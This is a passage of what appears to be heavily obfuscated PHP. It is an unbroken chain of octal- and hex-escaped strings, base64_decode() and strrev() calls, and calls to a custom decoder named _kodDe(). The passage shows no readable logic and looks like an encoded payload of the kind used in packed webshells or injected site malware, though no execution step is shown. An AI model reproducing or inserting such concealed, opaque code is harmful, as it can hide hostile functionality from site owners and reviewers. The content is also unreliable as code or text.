Swcu?[s=_߭-]U9'."\r".'')."\174\362\341\263\317\336\170\346\332\267\376\151\36\277\343\306\357\177\66\376\312\360\223\152\317\203\147\176\362\302\243\257\356\350\120\77\175\347\335\133\216\37\270\361\263\177\177\74\376\223\167\26"."\177\134\64\156\174\363\305\340\231\157\35\262\370\244\113\273\27\57\173\56\266\265\351\272\170\375\271\363\66\156\375\351\127\153\177\365\301\255\337\376\362\51\67\114\275\350\316\367\56\377\112\373"."\xd0\x59\x9a\x71\xf4\x9b\x53\xf6\x2f\x9d\xf9\xb5\xff\xa8\x9b\x36\xe5\xdd\xe5\x3f\x58\xb6\xe6\xae\x4f\xae\x3c\x63\x20\xf7\xec\x7f\x1e\xfd\xd1\x41\xb7\x9d\x60\x4d\xfd\x65\xc3\xb5\x4f\x3f\x7c\xcc\xee\xce\x4b\x7f".strrev('>bFr9+c\'[^w}xxz:_\'-')."\67\336\377\160\345\171\123\133\43\103\17\234\360\130\40\126\337\162\346\354\370\25\107\337\272\370\322\43\227\244\117\70\340\355\150\113\346\173\377\365\333\351\277\176\156\337\153\227\134\123\377\365"."\373\332\16\335\274\144\317\65\167\136\266\366\264\227\327\335\62\164\352\23\167\74\163\335\363\27\375\370\270\221\157\117\233\265\355\370\213\76\371\303\216\265\67\315\114\107\132\237\77\372\207\312"."\315\205\273\237\377\331\47\267\35\255\136\365\344\135\67\236\74\262\363\244\163\346\136\370\367\343\366\55\375\326\374\324\151\326\155\347\157\375\257\205\67\76\175\372\57\13\375\227\254\273\342\303".base64_decode('sx8r/Oz6je9cdop3f9e6d15ePvBe+pa9R/zourOX/+i5wb1tB560d/9TD61/7Jo/TDz96Q==')."\xd0\x86\x9b\xd6\xfd\xbb\xe5\xc8\x5f\xfe\xee\xdd\xa1\x3f\x3c\xff\xfc\xaa\x17\x5f\xef\xbe\xf7\xc5\x7f\xbc\x91\x3d\x43\xed\xee\xad\x7d\xe6\x84\x1f\xec\x49\x4c\xbf\xe8\xf1\x3f\xbd\xbf\x72\x4e\xed\x6b\xe7\xed\xac".strrev('zۯjǛߡ<.oھQ>[3i'."\r".'7').strrev('o綼jwCiV{Ώh߳{w%OoT')."\x57\xdf\x71\xfd\x2b\xef\xdf\x92\x1b\x1a\x3b\x78\xef\xc1\xbf\x89\x6d\xbb\x65\xe7\xc2\xcd\x4f\x9c\xd0\xb0\x71\x45\xe4\xa0\x17\x8e\x78\xce\xfa\xdb\xb6\x83\x1a\x1e\x6b\xff\x6b\xee\xb1\x19\x9b\x9f\xff\xde\x61\x8d"."\15\133\264\140\112\255\75\157\365\11\117\15\44\336\177\350\224\355\157\177\174\261\136\373\137\205\131\157\354\374\355\320\125\217\314\375\100\335\62\313\373\374\217\102\117\335\366\227\5\15\107\335"."\163\144\273\177\363\71\23\277\355\72\371\263\253\26\337\363\122\317\375\35\205\327\247\334\177\232\175\355\263\165\127\134\363\365\300\265\207\237\362\367\57\337\373\146\156\361\23\77\357\170\76\175"."\104\150\333\265\67\237\360\130\333\34\355\202\324\352\143\377\372\325\17\212\167\335\373\37\255\372\261\167\176\351\370\117\257\170\164\127\315\331\241\211\337\205\56\276\257\153\267\236\77\342\231\301"."\xc7\x72\x57\x5d\xfb\xc0\xf3\x13\xaf\x7d\x3a\xf4\xfa\xad\xad\x4f\x1c\xb5\xe9\xa6\xb\x8f\x3a\xea\x67\x2d\xef\x59\x2f\x34\xd6\x3c\xf7\xad\xf3\x77\xef\xbe\xe2\xf5\x63\x7e\xff\xf8\xca\x1d\xc3\x27\x24\x62\x27\xfb".base64_decode('Pctfuu2hI9/5/u7c72MH7Tll7/HLFqy7r2XUKv3rqVNO+/OVS974qO2Dh+8/btchUx4ItQ==').base64_decode('2Vcf+83317/W9pUP9oz/asx37icP9rw3tfun9yUffndv7VMHvBf67KkZd6RPOXRq/eajXg==').strrev('w~\'?w4#/{7s>94').base64_decode('/2F2fPbR356OLWr6bO+zz5782b+fv/DJjhs3fPO4ty780ZNPfvZJ7v2P/nXjk+pDCz977Q==')."\x96\xa7\x5f\xfc\xf8\xd3\x77\x9f\xde\xfa\xe4\x2f\x3e\xf8\xe8\xd1\xef\x2c\xfa\xec\xc5\x67\xd4\x37\xef\xf6\xdd\xf1\xc1\x47\x3f\xbd\xe1\x95\xe0\x6a\xdf\xca\x5f\xec\x7b\xfa\xce\xbe\x33\x76\x5b\xff\x3a\xe9\xf\xeb".base64_decode('9m3Q3tm2ZtsLe14wXn/9vv/9txvyO3Yc+bWvbX39+e986bzzDtv21J4zFwYuvvCh2reMwg==')."\xc2\xeb\xfc\x1d\xc5\xf\x9a\xef\xba\xf7\xcc\x75\xa9\x7b\xae\x7f\xe0\x9d\xd4\xcd\x3f\x7e\xf3\x8a\xb6\x5f\xae\xbf\x7a\xc9\xfe\xc3\x16\x3e\x71\x80\xb6\xf0\x29\xef\x71\x9e\x5d\xb7\xbc\xbc\xac\xad\xe1\x5e\x3d\xfb"."\xda\xb7\xd2\x53\x66\x2a\xf6\x3f\x36\xe7\x1e\x29\x7c\xfa\x9d\xaf\x8c\x2e\xfb\xf1\xdb\xc7\xb0\xb7\x76\xb3\xeb\xe6\x42\x60\x3e\x5c\xa5\xd6\x43\x7c\xe\xb0\x48\xf0\xc\xc7\x18\xcc\xaf\x29\xf5\x83\x68\x3\x24\xbb"."\xa3\x83\xe9\xbe\x52\x11\x78\xce\x35\x9a\x3e\x90\x2a\x81\xd4\x6b\xfe\x3c\xa8\x6d\xe\x96\x8a\x6b\xd2\xc0\xd5\xce\x99\x7\x8d\x5b\x6b\xcd\xdc\x88\xd\xaa\xb6\x73\xea\xa0\xb9\x86\x3a\xa8\x34\x54\xd4\xb2\x7a\x1f"."\x54\x9a\x3b\x7\xb2\xe7\xcd\x1\x59\xdd\xbc\xb9\xd0\xd5\x79\xb3\x59\xe7\xe9\x4f\x3e\x6b\xf4\xa7\xd9\x6b\xbd\x54\x21\xb7\xd6\xd6\xe0\x9a\x6c\xde\x3c\xa8\x32\x94\xea\x1f\x1b\x4c\x43\x97\xe7\xd4\x43\xc5\xf9\x4c".base64_decode('EcpYk7OtLJzD5syGsQ8NjA7n2J1Cw3yoVF/PHmOl1upjORjNvPnQVP18yB4b6bOGdTgFzw==')."\233\11\251\332\160\306\100\25\341\170\64\244\131\375\66\34\215\6\7\54\323\310\102\307\147\317\202\41\146\254\241\376\341\21\270\252\255\237\7\255\314\254\207\31\235\65\147\76\114\355\140\52"."\137\62\341\102\176\100\37\112\25\14\46\334\30\311\133\153\212\320\217\271\363\147\261\225\202\246\346\65\100\307\213\331\321\261\164\6\276\257\17\231\351\322\0\174\326\36\320\321\146\133\313\26".base64_decode('E1pogPkYyY7lB+0BNg2QqBXXZsZSbClnsYUq2SkmXjWGB9f2F1Lse2v6B9PQ/flzoG+pwQ==').base64_decode('TL+5Fk4x9bMaWCvDxTGm5Tp/7mwGh+bA4BB0v5iz80b/GhoZ1vNjgzZIsWax4Q6NZdIpGw==').base64_decode('WsnmBtauGYbK/bqRGe0DWJnFNsrIsDGQZnoKxYI1oA/CjGjG0ECpOMYOd2Nrh7Im6xwMPA==')."\155\365\331\375\31\370\230\145\24\315\265\114\123\252\141\316\34\266\222\60\220\321\242\156\31\171\0\253\372\271\60\25\245\242\75\226\135\3\137\34\323\123\153\370\1\154\155\146\64\245\261\225"."\67\206\62\205\65\71\66\303\105\175\40\233\203\276\314\143\3\31\355\57\152\271\14\10\166\353\331\124\317\232\311\266\333\54\110\231\313\266\133\75\254\251\131\352\53\332\131\6\110\14\2\347"."\263\142\43\103\251\121\303\206\354\371\165\154\213\61\160\51\350\375\203\231\64\40\222\241\65\245\124\56\313\336\153\345\106\307\6\65\30\360\232\376\134\337\350\60\34\202\347\67\100\247\314\274".base64_decode('rhnDI2wJYepmzmNrxEGyni1WNq8zrcv5bI/oI+nholVgqIFN/GxoZnSkLztYYO/lZsMASg==')."\205\276\65\72\203\301\234\226\55\215\351\114\60\237\33\32\351\137\303\336\173\365\351\43\3\354\116\207\175\160\26\333\144\365\165\14\307\315\255\207\317\216\352\271\214\301\324\344\264\322\232\264"."\x39\xca\x56\x37\x63\xf\xf5\x33\xd\xd7\x86\x59\x30\xa4\x99\x73\xa1\xa2\x35\x66\xa6\x87\x33\x29\x36\xbd\xd0\xf9\xfe\x82\xae\xd\x8e\x65\x58\xe7\xa1\x3\xe9\x81\x82\x6e\xf4\x1\xe8\x6b\x63\x85\x54\x1f\x7b\x0".strrev('F/3aϾPʵKJjZ0'."\r".' A lyM74g9')."\x4f\x9b\xc1\xa6\x54\xa4\xd\xea\x3a\x53\xe7\x87\xcf\xdb\x42\x4b\x4\xd4\x80\x21\xdd\xc8\xe9\x42\xe4\x4e\x2f\x36\x58\x4d\x21\x43\xc0\x2\x1c\x49\xcf\x4\x47\x13\x72\x2b\xa9\xbc\x2d\x65\xa3\x98\x23\x37\x21\xbf"."\70\200\321\341\36\372\344\121\257\312\61\35\352\12\27\244\40\146\266\254\141\263\10\63\66\150\246\123\131\263\224\166\264\232\356\363\125\230\111\72\222\112\71\375\356\164\256\215\44\32\164\150".base64_decode('1rM0x6z1kRXlqk/4D/SbPoW2sKo4fxFHS/vYwvRJ4EBvDGzNGvTJyV4518ij/mazPufjeA==')."\374\112\275\253\123\115\6\22\313\44\225\102\374\212\232\301\216\52\236\115\110\343\20\213\46\315\240\274\166\316\61\63\330\330\277\143\367\370\326\53\47\256\270\163\142\313\366\361\135\227\355\337"._kodDe('LdhvNOmRSM/ZCI5ggO/wyBysjdhorofALHDLru8tYMJpx+nsDm/A7VnM62C4cC7f4Od40/A=')."\xfc\x7d\xb7\x5f\xb8\x77\xe7\xb6\x89\xeb\x2f\x18\x3f\xf7\xfe\xbd\xbb\xaf\x1c\xff\xee\x4d\xe3\xe7\x6f\x9d\xb8\x6c\xcb\xde\x87\xae\x47\xe5\x27\xbe\x2b\x5a\x46\xc5\xc6\xb7\x5d\x8d\xeb\x3e\xb8\x69\x7c\xe7\xce\xfd"."\67\337\316\163\337\170\160\43\333\346\364\267\125\267\225\304\151\121\246\47\106\0\122\131\244\0\50\352\226\117\351\314\352\150\306\24\362\260\32\53\225\331\31\275\250\330\104\271\114\103\377\362".base64_decode('Zt5LQY0+7LcUI4+zFTbXPg6OST1XwEAFs+SnL2fF+ww82eL+wAmHlSadZlSAKjzzYuVqcA==')."\x10\x6e\xd\xb1\x6c\x52\xe9\xd7\x50\x42\xba\x51\xe9\x47\xd5\x14\xf6\x5a\x4c\xb1\x4d\x16\xce\x8d\x72\x10\x70\x6d\x86\x8a\x8b\xcc\xbb\xc1\x16\x7a\x80\x5f\x11\x8\xc9\x35\x74\x4c\x7a\x86\x43\xaf\x85\xca\x0\x8c"."\354\56\47\152\160\354\73\47\122\221\263\234\63\1\242\145\242\341\340\121\150\127\74\12\271\327\126\234\217\306\261\306\2\323\2\220\167\220\334\375\242\136\310\362\13\56\54\235\255\70\211\256"."\x21\x24\x2a\x4c\x17\x1f\x84\x23\x13\xed\xce\x92\x5d\xa1\xa0\x3c\xab\xb2\xc8\xda\x30\x83\x59\x84\xd8\xc4\x85\x2b\xd1\x2d\x10\xdd\xa5\x51\x21\x2a\x47\x1f\xe2\x78\xb1\xa8\xa7\xd\xa6\xfb\xac\xe7\x48\x49\xc0\x87".strrev('dPo^/;/ X/b ; )'."\n".'⬾>')."\153\364\172\275\222\374\131\50\300\341\220\312\30\14\166\275\215\322\302\170\77\117\226\36\342\132\37\150\243\17\14\350\226\335\110\36\334\52\63\24\324\321\171\276\172\24\40\233\140\266\157\56"."\12\222\31\203\155\334\3\263\130\262\330\363\247\251\276\131\300\75\131\13\100\145\145\1\301\46\115\122\367\41\135\324\52\345\263\54\25\5\121\221\170\51\217\127\273\321\71\146\75\237\226\52"._kodDe('LsAdpkKaxP/K2oPjA72R6QBqahz6JHyzOwgjMrvLbyCNtnDV33FQx4YtNnigHOoAwMJY3II=')."\23\304\5\104\341\352\144\272\76\247\252\55\57\171\41\145\346\363\134\157\26\235\2\331\375\250\205\337\363\344\165\16\177\45\213\137\341\140\35\163\25\321\161\113\300\252\232\66\40\63\32\151"."\x56\x43\x91\xb8\xd8\xde\x6a\xa1\xe4\x36\xb4\x21\xdb\xb4\x9\x74\x46\xd4\x44\x22\x26\x99\xdd\x20\x4f\x9f\x57\xaa\xcb\x62\x21\x35\x18\x8b\x2d\x8b\x0\x18\xc2\xc4\x37\x4a\xd8\x11\xbf\xb8\x14\x17\xe3\x38\x26\x5e"."\136\342\313\44\131\23\116\146\103\260\321\21\114\160\23\12\150\214\42\170\17\266\5\342\134\117\177\266\257\316\127\57\312\242\17\252\370\235\102\23\263\16\220\110\6\342\25\114\317\120\223\64"."\260\50\140\206\6\52\264\305\126\50\301\130\264\253\275\43\101\55\256\320\364\216\230\224\117\264\261\41\233\31\246\51\317\206\346\303\235\321\100\60\254\104\72\222\61\366\316\202\53\304\222\27"."\66\11\36\147\123\120\264\164\156\170\6\352\323\210\374\12\110\156\221\267\4\140\334\355\251\356\251\352\231\336\123\323\123\273\332\327\143\365\372\45\172\145\310\313\3\221\316\20\14\257\221\207".base64_decode('0hZs4PYEIvs0GIsHglHWleZAAoKxYIQG9l1+195dF++7bvv4BVtQQxPXbpq46n7ErGAGZQ==')."\373\105\373\176\176\361\304\345\73\46\56\332\10\375\337\277\343\147\173\37\372\305\276\313\157\37\337\176\365\304\225\17\354\273\366\34\232\361\312\217\357\32\337\174\73\357\230\362\312\145\77\237"."\270\370\207\234\151\241\274\212\7\325\176\345\334\55\373\36\332\216\131\226\133\316\232\270\357\302\211\353\267\214\157\276\171\374\232\333\367\135\274\143\374\7\147\217\237\267\145\377\216\53\246\270"."\x1\x89\xc6\xbb\xd9\x52\xc0\xa3\x6f\xff\x19\xf8\xc1\x3e\x9d\xde\x1e\x6b\x6\x9e\xda\x5a\xf4\x5b\x83\x5f\x6f\xa0\x5f\xa6\x84\x4e\x14\x93\x4f\xeb\xa\x77\x4\xc3\xee\x67\x50\x72\x14\xac\xf6\x4c\xa7\x10\x42\x95"."\x74\x80\x4b\xb5\xc0\xea\xf\x8b\x13\xcb\x19\x4d\xd5\x93\xf6\x62\x3d\xac\xbf\xd4\x29\xa9\x33\xa1\x70\x22\x18\x8f\x34\x87\xe1\x7d\x0\x5f\xa8\xa9\x84\xc3\x2\x15\xd\x94\x9a\x88\x2f\xe7\x61\xfe\x60\xb6\xcc\xca"."\x92\x52\xc3\x80\xb9\x56\x71\xc\x44\xf3\xa5\xcc\x6c\x29\x97\x27\x9d\x55\xaa\xb0\xc6\x58\x95\x7\xd3\x20\xf2\x26\x4b\xa9\xc2\xf4\x14\x25\xe8\xf8\x99\x7f\xd\xb6\x6b\x42\xf4\x8b\xab\x57\x55\x7b\xea\x3c\xf5\xb5"."\xa\x98\x60\xa2\x35\xc0\xf0\x92\x52\x5\x6a\xea\xbc\x9e\xe3\x23\x9e\x3e\x47\xac\xde\x53\x57\xab\x54\x15\x6\xab\xa0\x5f\x62\x5e\x51\xef\x55\x5a\xd2\x52\x34\x4f\xd\x74\x58\xee\xae\x28\x8b\xb0\x99\x65\x17\x35"."\3\241\67\45\345\341\111\274\76\372\165\30\123\112\371\104\15\272\116\250\204\73\115\11\164\204\234\45\251\15\246\316\152\242\336\231\362\331\334\100\12\133\346\352\132\245\17\136\135\124\310\44".base64_decode('1RyT0eSYjJoZgCc6W/l60ycVCn1qR7ulWWyhIJUsFU6lq8XKmmgYaHFoeRTgOfjxAW8JoQ==')."\x23\x9e\xc1\x56\x10\xa7\xf3\x45\xac\x90\x47\x8c\x63\x55\x51\xbe\x8f\x8e\x33\x67\xd\x30\x54\x7\x8f\xf9\xdb\x57\xf1\x31\x30\x58\x56\x18\x33\xc2\x4d\x6b\xe1\x47\x83\xe1\x64\xb0\x8d\x42\x79\x42\x2\xf3\x74\xdf".base64_decode('VAegiulUHCDCjxJQjm4XjBAOI+UiHS2xeDt9LJcItoXbAz5A4hQSaHnMaSlNSjXGfDSp2g==')."\61\375\344\103\154\312\222\344\253\150\137\251\66\142\233\350\54\24\6\240\63\260\372\12\261\112\240\221\52\115\325\324\160\14\263\215\305\154\300\305\342\111\25\115\0\240\147\11\353\126\113\324".base64_decode('QtJFx0+/hhjX34/4IJOZwEn3MeEzahy3GYx1tETYu8AQnJgLTPwMhULxCLYLAt9XWFPSaw==').base64_decode('TBQRCiEoUhhO87AwtYAzOM1HEUHyUYQTG1xKsmmHv5/o4GHB6qJIV4I9C8HYd0WIh9v4qw==')."\170\234\21\213\113\221\100\74\320\236\340\321\370\12\376\314\204\247\321\347\46\152\107\127\273\300\370\321\300\162\4\54\61\301\240\60\154\135\343\233\276\270\266\207\276\340\243\101\372\263\204\305"."\360\253\246\336\165\365\36\145\316\206\132\50\303\355\153\330\31\43\317\170\115\374\225\323\242\152\64\326\112\343\304\326\136\70\237\26\47\23\245\133\101\214\157\122\60\276\26\43\135\174\67\50"."\10\206\25\372\36\130\351\210\255\10\10\363\155\122\6\244\10\153\156\376\63\272\173\206\173\174\210\131\260\126\213\27\171\241\146\205\261\41\304\264\12\34\373\241\166\200\221\321\325\36\240\30".base64_decode('atYcYEaPEEJk7AL9XckCBFdChRR5Kz3COxHwnq72rO+Z1uP10WeQmHnp8YguqeGViMYmEg==').strrev('%x2MQMk 5D)Zp?YZBQ1*7').base64_decode('o5Fl4fX4P5FRyyeSvnZyVoh0rEf/IwSzPtLhbqw5nFwRDtMCLAy/oihCODBUyRYjfnoA2Q==')."\342\51\2\64\255\252\65\144\62\275\275\63\152\125\325\157\165\1\274\160\3\42\65\325\247\326\127\3\15\11\44\202\2\373\72\0\242\34\26\310\103\1\47\40\160\13\203\20\157\215\307\272"."\x3a\xa5\x78\x5b\x60\x79\xa4\xa3\x95\xc5\xfc\xd3\x59\x68\x3a\x34\xad\x84\x22\x9\x34\x45\x41\x6\x8c\xc2\xf0\xa1\x1c\x7\x86\x93\xb0\x45\x32\xd7\xeb\x0\xe9\x10\xc2\xec\x28\x22\xb1\xec\xf8\x30\x40\x31\xb3\x73"."\x97\x35\x77\x45\xa2\x21\xf9\xbd\x3a\x2e\x8\x4\x85\x60\x75\xa0\x29\x53\x59\xe7\x58\x9c\xbc\x5c\x67\x11\x3c\xe5\x2c\x4c\xc0\x8d\x45\xc8\x1c\xb0\x8\x9d\x0\x16\x23\xd3\xc5\x22\xc4\xc0\x22\x8b\x90\x81\xb2\x8"."\76\235\204\73\130\36\72\43\242\363\35\73\370\145\264\41\376\356\162\101\272\117\262\56\202\161\260\217\112\312\260\215\31\164\212\323\270\124\324\45\334\44\222\50\351\340\117\225\7\25\351\335".strrev('ISU'."\n".' >h"iGYi;cN L^RO-?#J7')."\xba\x2d\x27\x8\xc1\x13\x95\x5f\x83\x4\x57\xc8\x75\xb0\xe\x25\x91\xed\xd2\xa8\xf3\x44\xc5\xd1\xd4\x6a\x7e\x50\x2\x9b\xd\x1e\xf8\x85\x1e\x1d\x49\x7f\x7a\x20\xca\x64\x18\x3d\xf0\x91\x6a\xf\x10\xdd\x1e\xc6"."\260\167\367\214\324\325\171\321\177\363\320\277\146\364\57\210\376\205\161\102\113\317\310\334\26\24\230\337\322\353\207\233\15\366\364\303\171\306\356\351\251\232\154\222\241\0\233\152\210\126\321\50"."\253\145\160\312\231\312\140\243\67\252\235\143\322\162\162\304\23\142\152\52\60\27\361\120\74\326\111\371\30\45\322\242\120\103\20\112\65\25\261\127\3\203\26\214\207\361\36\243\245\130\136\115"."\265\103\250\265\250\132\201\307\341\265\316\132\221\216\120\170\245\122\155\244\107\124\115\123\241\262\202\166\64\153\110\51\153\211\265\100\373\12\367\122\126\306\34\126\144\40\145\247\356\40\115\113"."\12\300\55\143\360\210\111\7\366\20\327\3\107\173\236\103\371\152\232\25\111\40\262\37\215\222\221\242\54\303\302\354\260\107\341\226\27\160\42\76\302\120\1\51\64\304\62\150\103\64\53\274"."\62\31\17\340\104\302\303\36\176\30\372\103\320\22\76\143\25\163\32\175\235\112\70\77\337\152\20\65\254\166\60\232\224\5\305\254\46\300\35\41\234\322\230\170\16\221\67\320\151\226\245\21".base64_decode('y4B3p7HOeKQ9EF8FUyZOErBxzazjjbKIGFaX9Eq+A/VafjVP15jjaXQqZnga9YYGq/DK0w==')."\x20\x58\xd5\x55\xf9\x23\x68\x26\x8a\xa9\x61\x8f\x89\x3d\x2c\xc0\xac\x50\x90\x7\x5a\x4c\xde\x95\x43\x88\x8b\xc7\xc4\xaa\x1\xec\xc3\xaa\xc8\xb9\xf2\x13\x33\x61\xf6\x17\x93\x5a\xbc\xc8\x8c\x66\xb4\x4\xba\xa2"."\x72\xa\x4c\x95\xb2\x2c\xbc\xea\x73\xf6\x8\xeb\x69\xa5\x3d\xc2\xf2\x98\x50\x87\xef\x36\x18\x4f\xcd\x6c\x18\x1f\xb5\x8f\x51\xd3\x80\x4e\xb6\xa5\x3c\xb6\xa4\xc3\x2d\x76\x42\xaf\x80\x42\x77\x25\x63\x2a\xa2\x42"."\361\60\246\11\60\42\76\255\122\177\245\323\273\274\50\320\14\56\300\155\50\177\316\320\130\231\112\103\343\365\271\374\52\334\321\32\351\10\67\265\217\106\22\201\166\205\165\34\44\164\330\116"."\xe7\x3c\x68\x27\x12\x53\xa3\x88\xb3\x56\x65\x21\x5c\x24\x6\xa2\x62\x87\x11\x48\x55\x15\xc6\x55\x7c\x9a\x50\x47\xb7\x8b\x25\xc9\xa4\x9e\x61\x12\xd5\xef\x76\xfe\x4a\x84\xe8\xaa\x23\x80\x8\x8\xdb\xa\x5c\x9c"."\115\362\112\175\270\266\114\364\240\276\313\326\252\141\66\342\34\134\230\362\72\13\104\161\325\361\161\267\256\267\234\54\324\320\305\355\57\273\140\346\46\371\240\102\227\144\33\1\127\126\330\7".strrev('BEa ӓÖ%IN`*{E=Xtы:̳fD=O').base64_decode('ihtqZpNcytsJPQti/FAf0fcXL/PESyjpHQC5jRErR239uSpCSxE+NVIpkRgVZnDx5Ydosw==')."\x97\xc9\xc\xc4\x7c\x8c\x19\x8c\x8\xba\x2f\xf\x79\x27\xf3\x66\xa7\x5e\xcc\x19\xe4\xc6\x67\x85\xb8\xd0\x1\x3a\x83\x1a\xa0\xeb\xef\x53\x5c\xf5\xe4\x59\xc7\xb7\x84\x65\x25\xb1\xb5\x8c\xcf\x5b\x43\x66\x18\x8d"."\364\114\172\226\211\243\0\53\370\2\124\172\354\122\312\243\217\170\345\347\123\10\166\110\242\364\140\203\31\106\244\261\271\240\351\203\340\23\2\3\220\302\176\213\54\307\47\254\353\220\66\61"."\x57\xe5\x15\xd6\x2e\xd2\x9a\xfc\x52\x55\xb2\x7b\x3f\x45\x86\x14\xb2\xe4\x2\xb6\xfb\xd\xd9\xf4\x85\x4f\x58\x12\xe6\xdb\x65\x9\x5f\x28\xfc\x82\x1b\x6e\xe1\x31\xc3\xde\xaf\x4a\x7d\xe9\xe4\xe5\x85\xd\x51\x3a"."\x1b\xd2\x32\x90\x4\x1a\x24\x1b\x5c\x69\x14\x9d\x68\x33\x30\xfc\x8f\x4a\xb0\x23\xa5\xb6\x33\xfd\x26\xb0\x63\x1c\x35\x7\x38\x6e\x42\x8c\x2b\x98\x1b\x73\xe0\xa7\x48\xc\xea\xfa\x74\xfc\x7c\x8b\x3e\xa6\x9\x73".base64_decode('M5CoIrWZ98WVuiRTzpOglIr1glCQf7BIhE5f/MG4Lqg+qkZey31hJYFiyZdIJQktu+oQcA==')."\xa4\x2f\x7b\x60\xe5\x33\x90\x2d\x60\xc\xd1\x82\x8e\x98\xda\x86\xc8\x4d\x8c\x31\x25\x86\x95\x74\xa0\x77\x56\xb\x50\x88\x8d\x78\xa6\x94\x9f\xbc\x3d\x86\x83\xe3\x2\xa2\x65\x40\x6f\x3a\x61\xb1\xd7\x21\xcc\xcd".base64_decode('Q0xHBAyLCWYgQH9W5dJe1HGAurRuc7tOGAuyN5u4z9LL7RxHsMOS7VZtSMeP45hYpky9Bg==')."\x86\x52\x3e\x38\xe8\x22\xbe\x3e\x4b\xc4\xba\xe2\xec\x8e\x7\xc7\xb1\x6c\x4b\x8d\x87\x83\xab\xf8\x75\xb\x4f\x6d\x9\x2c\x77\xa7\x44\xb0\x6c\x32\xd0\x5a\x31\x99\x4b\xcc\x70\x3a\x39\x9a\xaa\xf1\x18\x16\x2d\x86".base64_decode('oy2uCok2bvfXmaZGIx3LKmYg1qRdqkITI8lwuzvN2UIiHIgzo9Q43hyNBaXsSKx8Jjjvww==')."\23\251\140\222\46\372\317\250\351\131\107\116\105\215\350\160\224\136\217\45\30\136\265\167\106\355\342\236\15\265\65\75\376\305\276\351\134\360\106\321\225\364\62\170\222\144\213\21\237\106\167\2".base64_decode('plsskVaDmN/ng4/wgL/Hz4yH+UUm/Iryp7hoDBiBT1BLTI6OugyWMNMAPvcLNpU9W2OYVQ==')."\353\147\372\4\21\172\213\253\46\126\45\370\132\71\323\34\20\111\141\132\126\253\160\25\106\377\72\345\242\130\177\247\142\101\7\110\73\136\144\313\111\76\303\24\273\105\154\353\264\231\52\141"."\333\117\142\215\304\373\155\224\344\163\64\201\20\372\240\220\16\300\256\114\260\335\233\107\264\22\210\161\20\161\255\255\155\221\245\313\242\355\35\261\316\323\342\211\144\327\362\25\53\127\201\271"."\312\106\6\64\375\212\227\311\102\300\134\256\177\110\53\372\207\230\3\200\345\370\320\241\133\176\231\231\343\211\150\214\330\230\61\63\307\106\105\30\74\27\143\17\177\345\54\332\232\77\227\267".base64_decode('6ycp0VnU+0zTniR3efvnNwyZ3T1WL4fStD4EQaEAZ4mjFjAZXtkRAYZWmV9M97m4AUgQ7g==')."\x35\x24\x9e\x41\x24\x72\x73\xd6\x34\x3a\xaa\xb\xb5\x41\x73\x58\x32\x7\xcd\x36\xcd\x5a\x62\x80\xd4\x6d\xbd\x74\xad\x57\x1b\x74\xe4\xb\x23\xd0\x6b\xbd\xe8\xf8\xe9\x88\xbb\x2c\x98\x4e\x23\x38\xbe\xdd\x1c\x28"."\x36\xf8\x6d\xdc\x93\x3c\xa2\xb\xf0\x35\xe0\x14\xe4\x6d\x40\x68\x5\xd7\xfc\xc1\x14\xa9\xcd\xb5\x9\x79\x22\x37\xe5\x91\x20\xfa\x90\x8d\xca\x2c\x30\xdd\xdf\x82\x78\xea\xb4\xd2\x4d\xd9\x64\x10\xe9\x63\x16\x8b"."\x58\x9f\xa7\x51\x8f\x22\x8c\x64\x33\x61\xac\xd3\xfa\x35\xdb\x7\xc4\x4c\x8f\xe0\xbd\x53\xb2\x21\x7\x86\x55\x73\x83\x42\x95\x2c\x37\xc8\xd5\x41\x52\xe\xae\x2\x13\xf0\x16\x49\xe3\x4c\x30\xe\xe0\x63\x3\xe5"."\x35\x8f\x32\xdd\x59\x78\xd9\xda\x3c\x1a\x97\xbc\x1c\x39\x8c\x68\xc8\x5e\x49\xb4\x42\x21\x98\xc1\x63\x70\x6c\x4e\x47\x52\x4a\x8e\xf4\x63\x25\x16\x59\xf9\xc5\x69\x82\x1b\x65\x87\x28\xf7\x96\xe6\xe5\x2d\x11\xe2"."\xd6\x54\xfb\x25\x3b\xab\x65\x2d\x20\x4e\x2f\x1f\x66\x8f\xf8\xcb\x72\x11\x5b\x68\x88\xec\xcf\xef\x4b\x3b\x99\x5e\x5e\x18\x4e\x6\x0\xf5\x8c\x26\x58\x6c\xb7\x4d\x1b\xf1\x9a\x96\xe5\x2d\x14\x4d\xac\xe3\xd6\x64"."\344\6\374\326\60\344\145\65\313\136\356\60\156\364\205\26\270\261\15\217\166\316\47\103\27\106\274\4\252\331\107\44\146\306\137\44\152\224\236\141\240\13\36\142\175\123\255\143\0\343\107\175"."\363\143\343\214\204\241\345\252\151\261\4\273\377\161\216\236\152\13\111\107\154\260\17\307\255\116\163\233\324\302\160\65\25\333\323\260\60\254\213\370\362\300\0\66\151\142\346\231\357\34\352\321"."\100\266\214\236\326\111\167\371\43\176\311\250\70\366\252\201\266\72\323\336\223\314\213\43\116\157\200\57\43\261\45\54\333\154\304\123\356\315\71\234\151\320\5\162\32\355\266\164\175\220\151\33".base64_decode('4tUWGKXIbavT21xvxQSvpD9I95PkZAF/Dg74Geq+AfpLf06v1HtvUZg7R6tDnUEs00eZBQ==')."\x71\x17\x9a\x73\x19\x1d\xef\x69\xed\x69\xef\x49\xca\xc3\xb5\x8b\x5a\x7f\x3f\xea\xac\x64\x8d\xd5\xd1\x17\x61\xe3\x1c\xa0\x89\x38\x46\x61\x53\x30\xb9\x85\x74\xb8\xaa\x98\x56\xd1\xc0\x3a\x64\xc6\xe9\xd8\x83\xf8"."\x58\x35\x82\xbd\x56\x8\x73\xa0\x5d\xf1\xa8\xe3\xfe\x9\x8a\xb2\x51\x8e\x65\xbc\x41\xa6\xe0\x65\x96\xb2\x69\x72\x54\x45\x9f\x32\xb3\xe8\x94\x2e\x6e\xa2\x27\xae\xba\x69\xe2\x9e\x2b\xf6\xff\xe2\xfb\x13\x17\xff"."\160\357\316\335\23\327\357\242\351\164\326\102\172\236\257\375\304\205\227\356\333\175\303\376\355\277\170\345\252\355\157\74\170\321\376\35\77\303\232\106\67\376\220\52\36\215\157\335\64\161\305\235"."\xe3\x5b\x37\xef\xbf\xef\x9c\x89\x5d\x97\x4c\xdc\x70\xf6\x2b\xd7\x5c\xf2\x8f\xb3\x36\xc1\xee\xc9\x13\xbb\xa4\x81\xe2\x40\x49\xcc\x13\xad\x32\x71\xd3\x83\xe3\xf\x6e\x7d\xe5\xf2\x6b\xf6\xef\xd8\x21\x95\xb7\xb1"."\36\134\126\332\76\150\45\307\317\73\367\225\263\157\37\337\372\275\175\227\337\130\126\201\176\300\275\326\170\170\127\174\167\337\265\347\110\71\356\112\315\304\6\272\70\237\363\72\64\14